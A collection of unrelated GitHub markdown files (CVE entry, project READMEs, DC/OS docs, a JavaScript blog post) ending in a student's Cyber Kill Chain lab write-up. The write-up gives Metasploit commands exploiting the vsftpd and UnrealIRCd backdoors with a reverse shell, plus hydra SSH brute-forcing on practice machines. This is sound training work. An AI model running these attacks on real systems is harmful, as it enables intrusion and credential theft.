    url = {https://doi.org/10.1093/nar/gkw1074}
}
```

repository: PaddlePaddle/PaddleHelix

branch_name: refs/heads/dev

extension: md

gha_language: Python

license_type: permissive

repo_name: PaddlePaddle/PaddleHelix


text:
### [CVE-2019-5516](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5516)
![](https://img.shields.io/static/v1?label=Product&message=ESXi&color=blue)
![](https://img.shields.io/static/v1?label=Product&message=Fusion&color=blue)
![](https://img.shields.io/static/v1?label=Product&message=Workstation&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=n%2Fa&color=blue)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Vertex%20shader%20out-of-bounds%20read%20vulnerability&color=brighgreen)

### Description

VMware ESXi (6.7 before ESXi670-201904101-SG and 6.5 before ESXi650-201903001), Workstation (15.x before 15.0.3 and 14.x before 14.1.6), Fusion (11.x before 11.0.3 and 10.x before 10.1.6) updates address an out-of-bounds vulnerability with the vertex shader functionality. Exploitation of this issue requires an attacker to have access to a virtual machine with 3D graphics enabled. Successful exploitation of this issue may lead to information disclosure or may allow attackers with normal user privileges to create a denial-of-service condition on their own VM. The workaround for this issue involves disabling the 3D-acceleration feature. This feature is not enabled by default on ESXi and is enabled by default on Workstation and Fusion.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/alphaSeclab/sec-daily-2019

license: MIT

repository: trickest/cve

branch_name: refs/heads/main

gha_language: HTML

gha_license_id: MIT

repo_name: trickest/cve


text:
# ICE-2501 ICE-4502 Prototyping and Fabrication

## Project Description

This repository shows all of the work done for the main Brief for ICE-2501 ICE-4502 Prototyping and Fabrication

This readme will link all assets which were used inside the file system and will also have descriptions of what where changed for this module

## Usage

You can either download the repository which includes the web document showcasing the Game Device or visit the below link to here I have hosted the entire site on a dedicated host for ease of access and you can also view images of the Games console.

https://mynamejack.dev/Projects/ICE-2501-Blockz

## Cited Work

Here are some of the link to the material used to help create the Brickz Game Console and all rights belong to their respective Owners

Game Code based on A python Tetris game made by 1010Computing - https://www.101computing.net/bbc-microbit-tetris-game/

The 3D casing was used from Sean140103x with some changes made to the STL model in FreeCad - https://www.thingiverse.com/thing:3028078

## License
[MIT](https://choosealicense.com/licenses/mit/) You may feel free to do whatever you like with the code from this project


text:
# Site-Clearing-Simulation
Interactive training sessions with a simulator

## Constraints
The simulated construction site is a rectangular shape, described as a grid of square blocks each with equal size. Each square block of the site may be described in one of four different ways:
- It is plain land, and can be cleared by having the bulldozer pass through it or stop on it. There is a fixed amount of fuel consumed in the process.
- It has rocky ground, so it will consume twice as much fuel as plain land to clear unless it has been cleared already by a previous visit, in which case it will consume the same amount of fuel as visiting plain land.
- It contains a tree that can be cleared, so it will consume twice as much fuel as plain land to clear unless it has been cleared already by a previous visit, in which case it will consume the same amount of fuel as visiting plain land. If you attempt to clear a tree by passing through a square with a tree that has not yet been cleared instead of stopping exactly on it, the bulldozer’s paint will get scratched by the tree branches. There will be a financial penalty imposed to account for the time required to repair the damage to the bulldozer.
- It contains a tree that must be preserved. An attempt to visit or pass through this kind of square will end the simulation and also incur an extra cost to pay for legal expenses. The site will never have a ring of unremovable trees that surround one or more squares that could otherwise be cleared.
The trainee supervisor interacts with the simulator by giving it instructions int the UI (either using input box or “virtual control buttons”). Their goal is to clear all of the clearable parts of the construction site and to keep costs to a minimum. In the real world the instructions might be sent to a bulldozer operator by radio, or perhaps written into a plan for the bulldozer operator to follow. Therefore each command (other than quitting the simulation) incurs a cost to pay for the overhead of communicating with the bulldozer driver.

**Inputs**
- A file containing a site map. This will be asked to be uploaded when the application is started.
- Commands entered by the trainee either using “virtual controls” or commands in an input field, as described below under "Operation".

**Outputs**
- A list of all the commands that were entered by the trainee.
- A table providing itemized costs of the clearing operation and a total cost.

**Sequence of Operation**
- The application is started with the site map file name provided as a parameter to the application.
- The site map is displayed on the screen for the trainee.
- The trainee enters one command per line on the input field or using “virtual control
buttons”. Commands are executed as soon as the user presses “Enter” or pushes “virtual control button” until one of the following simulation ending events occurs:
  - there is an attempt to navigate beyond the boundaries of the site; o there is an attempt to remove a tree that is protected;
  -the  the trainee enters the quit command.
- The simulation ends and commands are no longer accepted. A list of commands entered and an itemised expense report is displayed on the screen.

**Rules**
The site map is defined by a text file with one character per square of the site. Each row must have the same number of characters. Plain land is marked with the letter ‘o’, rocky land is marked with the letter ‘r’, removable trees are marked with the letter ‘t’, and trees that must be preserved are marked with the letter ‘T’. For example, the following describes a site that is 10 squares wide and 5 squares deep:
ootooooooo oooooooToo rrrooooToo rrrroooooo rrrrrtoooo

## Components
- Bulldozer - an instance of bulldozer
- Site - renders the site view based on the uploaded file
- Command - an interface to input commands from an input box or visual control buttons
- Simulator - is an in instence of Bulldozer, Site, Command put together
- Dropzone - Component to drop a site map
- Upload - Component to parse a text file, validate it and create site map aka grid.
- Report - Component to view costs and breakdowns on a popup after termination

## Utils
- constants - all business rules related data eg: costs, commands, accepted file types are configured here
- validation - all validations are done here
- reports - reporting calculations are done here

## Store
- reducer - adds to store
- action - all reducer actions are defined here

## Tests
All application specific test cases are defined here

## Models
- model - has all interfaces for the app defined

## Legend

 **Bulldozer**

**Plan land (o)**

**Rocky land (r)**

**Tree (t)**

**Protected Tree (T)**

## Allowed Commands
- `a 1` - advance by 1 position- Note there has to be a spaec between a and 1
- `l` - Turn left
- `r` - Turn right
- `q` - Quit simulation

## TODO
Out of scope but nice to do
- Replace all css files as saas files and replace hardcoded px to be computed at run time.
- Make the UI controls more user fiendly - Eg: Autofocus on the textbox for command entry, clear previously entered commands etc

## Available Scripts

In the project directory, you can run:

### `npm start`

Runs the app in the development mode.\
Open [http://localhost:3000](http://localhost:3000) to view it in the browser.

The page will reload if you make edits.\
You will also see any lint errors in the console.

### `npm test`
Launches the test runner in the interactive watch mode.
### `npm run build`

Builds the app for production to the `build` folder.\
It correctly bundles React in production mode and optimizes the build for the best performance.

The build is minified and the filenames include the hashes.

### `npm run eject`

**Note: this is a one-way operation. Once you `eject`, you can’t go back!**

repository: ragkoushik/Site-Clearing-Simulation

repo_name: ragkoushik/Site-Clearing-Simulation


text:
Categorization plugin for Fat Free CRM
============

Adds categorization support to all major Fat Free CRM models. Implements an admin module to manage the nested cats and are shown in models that have as least one category.

The Cats plugin depends on [awesome_nested_set] plugin.

Important
============
For the stable version of fat_free_crm (0.9.10) use the v0.2 tag, master is in redesign for a experimental feature with advanced filters and will no work with ffc at the moment.

Installation
============

The plugin can be installed by running:

    script/plugin install git://github.com/collectiveidea/awesome_nested_set.git
    script/plugin install git://github.com/tractis/crm_cats.git

Then run the following command:

    rake db:migrate:plugin NAME=crm_cats

Then restart your web server.

Copyright (c) 2010 by Tractis (https://www.tractis.com), released under the MIT License

branch_name: refs/heads/master

extension: markdown


text:
# MMM-Transilien

Local transport in Ile de France Region module for MagicMirror², a projet created by [Michael Teeuw](https://github.com/MichMich/MagicMirror)

This module is working thanks to lgmorand and flafla15
It gives in real time next trains (transilien) of the station of your choice using SNCF API "temps réel transilien"

## SNCF OpenData

A law was voted to force public companies to open some of their data to the public.
More info about the [api](https://ressources.data.sncf.com/explore/dataset/api-temps-reel-transilien/)

**VERY IMPORTANT**
They suck at SNCF and they force you to ask for a key to use the API. For that, you need to ask them a key by email (see link above), once you write a mail, you MAY receive a key after several days or weeks (because they really really suck...). It may change in the future but for now they clearly do that to prevent users to easily access their API.

## Installation

Clone the git in the /modules folder of Magic Mirror and run the "npm install" command which will install the required node modules

## Configuration

1- You need to find your train station and find the **UIC** of the train station (*not the uic7 column, the UIC*). You can look [here](https://ressources.data.sncf.com/explore/dataset/sncf-gares-et-arrets-transilien-ile-de-france/table/?sort=libelle)

2- Specify missing values in the configuration. You need the UIC of your train station and the UIC of the arrival station.

3- You can choose to display the actual time of arrival or the remaining time before arrival of a train with the `showRemainingTime` property.

```javascript
{
    module: 'MMM-Transilien',
    position: 'top_right',
    header:'Courbevoie vers St Lazare',
    config:{
        departUIC:"87382200",
        arriveeUIC:"87384008",
        login:"", // You must add your API login and password
        password:"",
        showRemainingTime: true
    }
},
```

3- Don't forget to add login/password, which are the credentials to access the API. You can try them in your browser by trying to open the url [http://api.transilien.com/](http://api.transilien.com/)

## Screenshot

![demo](https://raw.githubusercontent.com/lgmorand/MMM-Transilien/master/screenshots/transilien.png)

## Further information and support

Please use the forum of magic mirror² [https://forum.magicmirror.builders/](https://forum.magicmirror.builders/)

repository: lgmorand/MMM-Transilien

gha_language: JavaScript

repo_name: lgmorand/MMM-Transilien


text:
---
name: Feature Request
about: Request a new feature
labels: enhancement
---

# Feature Request

**Describe the feature**

<!-- Give non-code descriptions of what the feature is. -->

**Example usage**

```rust
// Put code here
```

**Reasoning**

<!-- state why this feature is useful -->

repository: advaiyalad/use-github-api-rs

repo_name: advaiyalad/use-github-api-rs


text:
# Project Metrics

## Absolute Code Coverage

Test coverage for the repository as computed by CodeCov

![Absolute Code Coverage](https://amp-project-metrics.appspot.com/api/plot/AbsoluteCoverageMetric.png)

## Presubmit Latency

Average Travis build time over the last 90 days

![Presubmit Latency](https://amp-project-metrics.appspot.com/api/plot/PresubmitLatencyMetric.png)

## Cherrypick Issue Count

Number of cherry-pick issues in the last 90 days

![Cherrypick Issue Count](https://amp-project-metrics.appspot.com/api/plot/CherrypickIssueCountMetric.png)

## Release Granularity

Average commits per release over the last 90 days

![Release Granularity](https://amp-project-metrics.appspot.com/api/plot/ReleaseGranularityMetric.png)

## Travis Greenness

Percentage of green Travis builds over the last 90 days

![Travis Greenness](https://amp-project-metrics.appspot.com/api/plot/TravisGreennessMetric.png)

## Travis Flakiness

Percentage of flaky Travis builds over the last 90 days

![Travis Flakiness](https://amp-project-metrics.appspot.com/api/plot/TravisFlakinessMetric.png)

repository: zhouyx/amphtml

repo_name: zhouyx/amphtml


text:
---
layout: default
---

Hi, you've reached Drew Johnson's professional webpage. I am currently a visiting assistant professor at [Brigham Young University](http://math.byu.edu). My area of study is algebraic geometry.

Previously, I was a did postdoctoral work at [ETH Zürich](https://www.math.ethz.ch) in Switzerland and at the [University of Oregon](http://math.uoregon.edu). I received my PhD from the [University of Utah](http://math.utah.edu), and a BS and MS from [Brigham Young University](http://math.byu.edu).

### Contact

*Office:* TMCB 220

*Email:*<EMAIL_ADDRESS>
_________________________________________________________________

Website created using [jekyll](https://jekyllrb.com/) and the [Kiko theme](http://themes.jekyllrc.org/kiko/). Last updated {{ site.time | date: "%D" }}.


text:
# skilltree

Re-implemented skill tree for the Rust #wg-traits working group.

This is implemented in TypeScript and uses a JSON file to load the data.

Eventually, this will support editing the data in the web browser.

![Screenshot](./Screenshot.png)

repository: Aloso/skilltree

gha_language: TypeScript

repo_name: Aloso/skilltree


text:
---
layout: layout.pug
navigationTitle:  Universal Container Runtime (UCR)
title: Universal Container Runtime (UCR)
menuWeight: 10
excerpt:
preview: true
enterprise: false
---

The [Universal Container Runtime](http://mesos.apache.org/documentation/latest/container-image)(UCR) extends the Mesos containerizer to support provisioning [Docker](https://docker.com/) container images ([AppC](https://github.com/appc/spec) coming soon). This means that you can use both the Mesos containerizer and other container image types in DC/OS. You can still use the Docker container runtime directly with DC/OS, but the Universal Container Runtime supports running Docker images without depending on the Docker Engine, which allows for better integration with Mesos.

The Universal Container Runtime offers the following advantages:

* **Removes your dependency on the Docker daemon**: With previous versions of Docker, if the Docker daemon was not responsive, a restart to the daemon caused all containers to stop on the host. In addition, Docker must be installed on each of your agent nodes to use the Docker containerizer. This means that to use the Docker containerizer you need to upgrade Docker on the agent nodes each time a new version of Docker comes out.
* The UCR is more stable and allows deployment at scale.
* The UCR offers features not available in the Docker containerizer, such as GPU and CNI support.
* The UCR allows you to take advantage of continuing innovation within both the Mesos and DC/OS, including features such as IP per container, strict container isolation, and more.

# Provision Containers with the Universal Container Runtime from the DC/OS Web Interface

## Prerequisite
If your service [pulls Docker images from a private registry](/1.9/deploying-services/private-docker-registry/), you must specify the [`cluster_docker_credentials_path` in your `config.yaml`](/1.9/installing/oss/custom/configuration/configuration-parameters/#cluster-docker-credentials) file before installing DC/OS.

1. Specify the UCR from the web interface. Go to **Services**  > **Run a Service** > **Single Container** > **More Settings**. In the **Container Runtime** section, choose the **Universal Container Runtime** radio button.

1. In the **Container Image** field, enter your container image.

# Provision Containers with the Universal Container Runtime from the DC/OS CLI

## Prerequisite
If your service [pulls Docker images from a private registry](/1.9/deploying-services/private-docker-registry/), you must specify the [`cluster_docker_credentials_path` in your `config.yaml`](/1.9/installing/oss/custom/configuration/configuration-parameters/#cluster-docker-credentials) file before installing DC/OS.

1. Specify the container type `MESOS` and a the appropriate object in your [Marathon application definition](/1.9/deploying-services/creating-services/). Here, we specify a Docker container with the `docker` object.

The Mesos containerizer provides a `credential` with a `principal` and an optional `secret` field to authenticate when downloading the Docker image.

```json
{
   "id":"mesos-docker",
   "container":{
      "docker":{
         "image":"mesosphere/inky",
         "credential":{
            "principal":"<my-principal>",
            "secret":"<my-secret>"
         }
      },
      "type":"MESOS"
   },
   "args":[
      "<my-arg>"
   ],
   "cpus":0.2,
   "mem":16.0,
   "instances":1
}
```

**Important:** If you leave the `args` field empty, the default entry point will be the launch command for the container. If your container does not have a default entry point, you must specify a command in the `args` field. If you do not, your service will fail to deploy.

# Limitations
- The UCR is a preview feature in DC/OS 1.9.
- The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.

# Further Reading
- [View the Mesos docs for the UCR](http://mesos.apache.org/documentation/latest/container-image/).

repository: ShaunDeng/dcos-docs-site

repo_name: ShaunDeng/dcos-docs-site


text:
# EXIST with MISP Auto-Installer

This script automatically installs the cyber threat information aggregation and analyzing system [EXIST](https://github.com/nict-csl/exist).
This tool uses [misp-install-centos -7](https://github.com/vodkappa/misp-install-centos-7) to install MISP.

## System Requirements
Fresh installed CentOS 7 is assumed.

- CentOS Linux release 7.7.1908 (Core)

## Usage
Run as root.
```
sudo su -
```
Install:
```
wget https://raw.githubusercontent.com/soji256/exist_with_misp_autoinstall/master/exist_with_misp_install.sh

chmod 755 exist_with_misp_install.sh
./exist_with_misp_install.sh
```
Configuration:
```
wget https://raw.githubusercontent.com/soji256/exist_with_misp_autoinstall/master/exist_with_misp_configuration.sh

# Set Your API keys & DB Admin Password
vim exist_with_misp_configuration.sh

chmod 755 exist_with_misp_configuration.sh
./exist_with_misp_configuration.sh
```
Access:
```
# EXIST
http://localhost:8000/

# MISP
http://localhost/
```

## EXIST
- nict-csl/exist: EXIST is a web application for aggregating and analyzing cyber threat intelligence.
https://github.com/nict-csl/exist

![EXIST](https://github.com/soji256/exist_with_misp_autoinstall/blob/master/img/exist.png "EXIST")

## MISP
- MISP/MISP: MISP (core software) - Open Source Threat Intelligence and Sharing Platform (formely known as Malware Information Sharing Platform)
https://github.com/MISP/MISP

![MISP](https://github.com/soji256/exist_with_misp_autoinstall/blob/master/img/misp.png "MISP")

## Update History
- 2019/10/23 New "exist_with_misp_install.sh"
- 2019/10/24 New "exist_with_misp_configuration.sh"
- 2019/10/25 New v0.1.0 release.
- 2019/12/01 New v0.2.0 release.

## Todo
- I will integrate the MISP setting part of the configuration script into the install script.

Author: soji256 (Twitter [@soji256](https://twitter.com/soji256))


text:
[Slides](http://kmcdono.com/sharp2017/) from my SHARP 2017 presentation in Victoria, BC

*Mapping the French Novel: Lessons and Results from the Digitization of the Print Bibliography of 18th-century French Novels*

gha_language: CSS


text:
| Component                       | License              | Copyright |
|:---------                       |:-------              |:----------|
| CMSIS                           | Apache License 2.0   | Copyright (c) 2009-2017 ARM Limited. All rights reserved. |
| STM32MP1xx CMSIS                | Apache License 2.0   | ARM Limited - STMicroelectronics |
| STM32MP1xx HAL                  | BSD-3-Clause         | STMicroelectronics |
| BSP STM32MP15xx_EVAL            | BSD-3-Clause         | STMicroelectronics |
| BSP STM32MP15xx_DISCO           | BSD-3-Clause         | STMicroelectronics |
| FreeRTOS kernel                 | MIT                  | Copyright (C) 2017 Amazon.com, Inc. or its affiliates |
| OpenAMP_libmetal                | BSD-3-Clause         | Xilinx Inc. and Contributors |
| OpenAMP_open-amp                | BSD-3-Clause         | Xilinx Inc. and Contributors |
| ST Projects                     | BSD-3-Clause         | STMicroelectronics |
| ResMgr_Utilities                | BSD-3-Clause         | STMicroelectronics |

gha_language: C

gha_license_id: NOASSERTION


text:
# Tools

This documentation provides details about the `Tool` class within the `pyattck` package.

> The `Tool` object is based on the following [data model](https://github.com/swimlane/pyattck-data-models/blob/main/src/pyattck_data_models/tool.py)

You can also access external data properties. The following properties are generated using external data:

   1. additional_names
   2. attribution_links
   3. additional_comments
   4. family

You can retrieve the entire dataset using the `external_dataset` property.

You can also access external data properties from the C2 Matrix project. The following properties are generated using C2 Matrix external data:

   - HTTP
   - Implementation
   - Custom Profile
   - DomainFront
   - Multi-User
   - SMB
   - Kill Date
   - macOS
   - GitHub
   - Key Exchange
   - Chaining
   - Price
   - TCP
   - Proxy Aware
   - HTTP3
   - HTTP2
   - Date
   - Evaluator
   - Working Hours
   - Slack
   - FTP
   - Version Reviewed
   - Logging
   - Name
   - License
   - Windows
   - Stego
   - Notes
   - Server
   - Actively Maint.
   - Dashboard
   - DNS
   - Popular Site
   - ICMP
   - IMAP
   - DoH
   - Jitter
   - How-To
   - ATT&CK Mapping
   - Kali
   - Twitter
   - MAPI
   - Site
   - Agent
   - API
   - UI
   - Linux

You can retrieve the entire dataset using the `c2_data` property.

This class provides information about the tools used by actors or groups within the MITRE ATT&CK Frameworks.
Additionally, a `Tool` object allows the user to access additional relationships within the MITRE ATT&CK Frameworks:

* Techniques that the specified tool is used within
* Actor or Group(s) using a specified tool

## Tool Class

```eval_rst
.. autoclass:: pyattck_data_models.tool.Tool
   :members:
   :undoc-members:
   :show-inheritance:
```

repository: swimlane/pyattck

repo_name: swimlane/pyattck


text:
# MMS Mobile Messaging Server

MMS acts as bridge between client apps and server apps, while abstracting the complexities of real-world networks from server applications.

## Architecture

MMS seamlessly abstracts the complexities of real-world networks where client apps exist from the server applications.

For more details, please read the [Architecture](Architecture.md)

## Features

1. Client Apps use one TCP connection to interact with the server(s) whether they are REST APIs or messaging APIs
2. The messages from Server(s) are routed based on priority and availability of the client
3. Client Apps can talk to legacy server apps without compromising performance

## Setup

Java 8 should be installed.

## Download MMS.war file

Download latest version of MMS.war from [maven central](http://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22com.github.antennaesdk.server%22%20AND%20a%3A%22mms%22)

## Usage
```bash
java -jar mms-<m.n.p>.war --help
```

## Configuration File

MMS needs to be supplied with following configuration

1. GCM senderId and ApiKey
2. If SSL is enabled, SSL certificate, keystore and passwords
3. Port numbers ( default http port is 8080, default https port is 8443 )

A sample configuration file can be generated
## Generate sample configuration file

generates the sample config files under "config" folder
```bash
java -jar mms-<m.n.p>.war -g
```

## Start MMS
```bash
## make sure java 8 is available
java -version

## start mms
java -jar mms-<m.n.p>.war -c <config-dir>
```

## FAQ

1. How to create the keystore and store certificates?
   Official documentation from java provides the details, besides there are several online resources that provide documenation about keytool.

   [Official Keytool Docs](http://docs.oracle.com/javase/6/docs/technotes/tools/solaris/keytool.html)

   [Command to create a keystore and self-signed certificate](KEYGEN.md)

2. How to create GCM senderId and apiKey?
   Click on "Get A Configuration file button"
   https://developers.google.com/cloud-messaging/android/client#get-config

repository: AntennaeSDK/MMS

gha_language: Java

repo_name: AntennaeSDK/MMS


text:
---
title: Add a New Element
description: Submit your contribution for inclusion in the Periodic Table!
source: https://github.com/ElementsProject/elementsproject.github.io/blob/hexo/source/elements/new/index.md
edit: https://github.com/ElementsProject/elementsproject.github.io/edit/hexo/source/elements/new/index.md
---

People wishing to submit new Elements should first propose their idea or document to [the Sidechains mailing list][sidechains-dev].  After discussion, they should submit a pull request to modify [the Periodic Table of Elements][periodic-table] to include the new Element.

[periodic-table]: /elements
[sidechains-dev]: https://lists.linuxfoundation.org/mailman/listinfo/sidechains-dev


text:
---
layout: post
title:      "ES6 Deep Dive: Generators and Iterators"
date:       2021-01-18 21:33:04 +0000
permalink:  es6_deep_dive_generators_and_iterators
---

## Introduction
I've spent the last couple months trying to get more familiar with JavaScript and deepen my understanding of the language a little bit. If you missed the earlier blogs I made about what I'm learning, you can see them [here](https://brycew30.github.io/learning_async_await) and [here](https://brycew30.github.io/learning_to_get_some_closure_s). These might be some somewhat obscure topics and not your typical "Learning Objects" or "Arrow Functions!" type blogs that cover broader useful ideas, but like I've said before, my brain understands things better when I understand the small things in greater detail. Since so many of the algorithmic challenges I've been working on require some type of iteration, I wanted to talk about these two additions with ES6.

## Iterators
The `for` loop has always been available to us in JavaScript, which typically looks like:
```
for (let i = 0; i < anything.length; i++) {
    // do something with i
}
```
But we have an alternative as of ES6 that looks like:
```
for (const i of anything) {
    // do something with i
}
```
This looks slightly less clunky, which makes it easier to read and work with. But apart from looking nice, it also allows us to interact with the elements of data set *anything* directly. I've been working on what this looks like with a function determining if a number is prime or not. Here's what that function may look like with previous convention:
```
function isPrime(num) {
    if (num < 2) {
        return false;
    } else if (num === 2) {
        return true;
    }
    for (let i = 2; i < num; i++) {
        if (num % i === 0) {
            return false;
            break;
        }
    }
    return true;
}
```
I'm sure there's a slightly quicker way to make this with pre-ES6 convention, but this works for example purposes. Next, we need to loop through a list of numbers to determine if each is prime:
```
let potentialPrimeNums = [73, 6, 90, 19, 15];
let primeNums = [];

for (let i = 0; potentialPrimeNums.length; i++) {
    if (isPrime(potentialPrimeNums[i])) {
        primeNums.push(potentialPrimeNums[i]);
    }
}
// primeNums = [73, 19]
```
Same deal- it's lengthy but it works. With ES6 though, we're now able to write the `for` loop as:
```
let potentialPrimeNums = [73, 6, 90, 19, 15];
let primeNums = [];

for (const i of potentialPrimeNums) {
    if (isPrime(i) {
        primeNums.push(i);
    }
}
// primeNums = [73, 19]
```
Now, the variable *i* represents an actual item in the array `potentialPrimeNums`, so we don't have to use its index anymore. From my (admittedly limited) understanding, ES6 added the [`Symbol.iterator()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator) method. This returns a JavaScript object containing the next value in the loop and a `done` key which is either `true` or `false` depending if the loop is finished or not.

## Generators
Generators give us a special, self-defined way to loop through things:
```
function* getNextPrimeNum() {
    let nextNum = 2;
    while (true) {
        if (isPrime(nextNum)) {
            yield nextNum;
        }
        nextNum++
    }
}
```
That weird asterisk after `function` tells JavaScript we're defining a generator. The `yield` keyword remembers its place while running so it can pick up where it left off next time it's called. Our next step is to do this:
`const nextPrimeNum = getNextPrimeNum();`
Then we call `nextPrimeNum` when we want to find the next prime number:
```
console.log(nextPrimeNum.next().value); // 2
console.log(nextPrimeNum.next().value); // 3
console.log(nextPrimeNum.next().value); // 5
```
We could also just call `nextPrimeNum.next()` which would return the object `{value: 2, done: false}` which has a `done` keyword to tell us if the task is completed (which it never would be in this scenario.)

## Conclusion
This is a lot of words for something that can also be explained well [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*). These give us some flexibility in allowing us to write JavaScript in a cleaner way. Thanks for reading, and hopefully this encourages you to explore some behind-the-scenes details when writing your code.

#### Resources I found helpful:
* [Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators) of course
* [This](https://github.com/lukehoban/es6features) GitHub post lays out ES6 features in a nice list
* [This](https://jakearchibald.com/2014/iterators-gonna-iterate/) post shows some nice examples of Iterators and Generators at work

![](https://media.giphy.com/media/l0MYwrucQ9amOkFHO/giphy.gif)


text:
---
period: "Flow-1"
title: "Day-2, Vanilla JavaScript continued, Node, Babel "
date: "12-02-2019"
pageintro: |
   Vanilla JavaScript Continued

   NodeJs

   Modules and npm

   Node’s Programming Model - the Event Loop

   Node Streams
---

### Before this lesson you should:

<!--readings_begin-->
* Skim (the whole “book”, it’s short and clear (30 min.)) [Art of node](https://github.com/maxogden/art-of-node)
* Watch [Introduction to Node.js (12 min.) ](https://www.youtube.com/watch?v=GJmFG4ffJZU)
* NO MATTER WHAT, you MUST WATCH this this fantastic video: [The Event Loop (26 min.)](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
<!--readings_end-->

**Exercises:**
<!--exercises_begin-->
Complete (as much as your time allows) the exercises from learnyournode, introduced day-1.
 <!--exercises_end-->


text:
# H2 - Cyber Kill Chain

Solutions for week two assignments.

## Table of Contents

* [z) Notes from articles and videos](#z-notes-from-articles-and-videos)
* [a) Explain Cyber Kill Chain tooling](#a-explain-cyber-kill-chain-tooling)
* [b) Install and hack Metasploitable2](#b-install-and-hack-metasploitable2)
* [c) Install and hack a machine from VulnHub](#c-install-and-hack-a-machine-from-vulnhub)
* [d) Install and hack Metasploitable3](#d-install-and-hack-metasploitable3)
* [References](#references)

---

## z) Notes from articles and videos

### Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains

- Advanced Persistent Threats (APT) present the largest element of risk
  - APT actors compromise systems by using advanced tools, custom malware, and "zero-day" exploits that anti-virus and patching cannot detect or mitigate
- Kill Chain describes structure of the intrusions
- Intelligence-driven computer network defence (CND) is a risk management strategy
- Intrusion Kill Chain
  - systematic process to target and engage an adversary to create desired effects
  - derived from US military doctrine
  - Kill Chain Phases:
    - Reconnaissance
      - finding information like attack vectors
    - Weponization
      - create deliverable payload - creating a PDF document with embedded malicious code
    - Delivery
      - Delivering the weapon to target - sending an email with with the malicious pdf as an attachment
    - Exploitation
      - Trigger the payload - user clicking the attachment
    - Installation
      - Installing the exploit - running the code after user clicks the PDF attachment
    - Command and Control (C2)
      - Compromised targets will listen for instructions - malicious program in an exploited machine creates an outbound connection to IRC channel, so hostile actors can control the target
    - Actions on Objectives
      - Take actions on the targets - stealing data, destroy systems, espionage, etc.
  - chain fails, when any phase is not accomplished
- Defend against the Intrusion Kill Chain can be done by using the Courses of Action Matrix; Detect, Deny, Disrupt, Degrade, Deceive, Destroy
- Kill chain analysis is a guide for analysts to understand what information is, and may be, available for
defensive courses of action
- Defenders should collect as much data from intrusions - successful and unsuccessful
  - analysis of data from all phases so it's easier to protect against future attacks
  - identify commonalities and overlapping indicators
  - understand intruders intent
- Intelligence-driven computer network defence is a necessity
- The Intrusion Kill chain can be used to drive defensive actions
- Harder to hack systems -> less likely to be hacked

### Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit > Conducting a penetration test with Metasploit

- Basics of Metasploit
  - Exploits - exploit the target vulnerability
  - Payload - code to run on target after exploitation
  - Auxiliary - modules for additional functionalities, eg. scanning, fuzzing, sniffing, etc.
  - Encoders - obfuscates modules to avoid detection
  - Meterpreter - in memory payload
- Advantages on using Metasploit
  - open source
  - ease of use
  - smart payload generation and switching
  - cleaner exits from targets
- Case Study - reaching the domain controller
  - nmap smb-os-discovery script finds SMB vulnerability
  - EternalBlue exploit to gain access
  - Upgraded shell to Meterpreter
  - Found DC on another network
  - Used Mimikatz to get credentials
  - Found clear-text credentials of an admin user
  - Could've done much more

---

## a) Explain Cyber Kill Chain tooling

Using the example from Mastering Metasploit to describe Cyber Kill Chain phases and tooling

- Reconnaissance
  - Port scan with NMAP
- Weponization
  - Create deliverable payload with EternalBlue and reverse TCP shell
- Delivery - Deliver the weapon to target by sending a custom TCP packet with buffer overflow to SMBv1 server
- Exploitation
  - Payload triggers when the buffer overflow completes
- Installation
  - Reverse shell was installed in memory after exploitation
- Command and Control (C2)
  - from reverse shell we can command and control the target
- Actions on Objectives
  - act on the target by upgrading our shell to Meterpreter and grab user credentials with Mimikatz

---

## b) Install and hack Metasploitable2

- I accidently hacked Metasploitable3 first, but probably the same concepts work for Metasploitable2
- I started by logging into Metasploit console and scanning the target

    ```
    sudo msfdb init
    sudo msfconsole
    workspace -a h2-b
    db_nmap -Pn -sV <IP_ADDRESS>
    ```

- Found FTP server running and wanted to try if that is vulnerable

    ```
    search vsftp
    exploit/unix/ftp/vsftpd_234_backdoor
    exploit
    ```

- got root access, but wanted to try something else. I noticed the server was running UnrealIRCd, which was new service for me. I seached for an exploit and wanted to try, if it would work

    ```
    search UnrealIRCd
    use exploit/unix/irc/unreal_ircd_3281_backdoor
    set payload cmd/unix/reverse
    exploit
    ```

- and again we got root really easily, which is quite scary

---

## c) Install and hack a machine from VulnHub

- I downloaded with [BlueMoon](https://www.vulnhub.com/entry/bluemoon-2021,679/) box from VulnHub and after some troubleshooting, got it in the same network as my Kali instance
-  I started by finding the instance on my network and scanning for interesting ports

    ```
    sudo msfdb init
    sudo msfconsole
    workspace -a h2-c
    db_nmap <IP_ADDRESS>/24
    db_nmap -sV <IP_ADDRESS>
    setg RHOSTS <IP_ADDRESS>
    ```

- Target was running ftp, http and ssh, but none of the versions were vulnerable to known exploits
- I checked the http server from browser and it said nothing interesting. I tried to scan the directories on that website, but it found nothing interesting

    ```
    use auxiliary/scanner/http/dir_listing
    run

    use auxiliary/scanner/http/dir_scanner
    run

    use auxiliary/scanner/http/files_dir
    run
    ```

- I decided to try and brute force the ssh login with hydra

    ```
    hydra -l users.txt -P passwords.txt -t 4 ssh://<IP_ADDRESS>
    ```

- I didn't get further than this, so I had to search the internet for help
- I found a [blog post](http://vxer.cn/?id=66) and the help of the article I found file hidden_text with a link to an image
- When you decrypt the png image to text, you get username and password to ftp. I used [zxing.org](https://zxing.org/w/decode.jspx), which results in to

    ```
    #!/bin/bash

    HOST=ip
    USER=userftp
    PASSWORD=ftpp@ssword

    ftp -inv $HOST user $USER $PASSWORD
    bye
    EOF
    ```

- When you login to ftp you find a information.txt and p_list.txt files from ftp. Basically it's telling you to bruteforce the ssh login (so I wasn't too far off) with username robin and a password list

    ```
    hydra -l robin -P p_lists.txt -t 4 ssh://<IP_ADDRESS>
    ```

- I found a valid password for robin

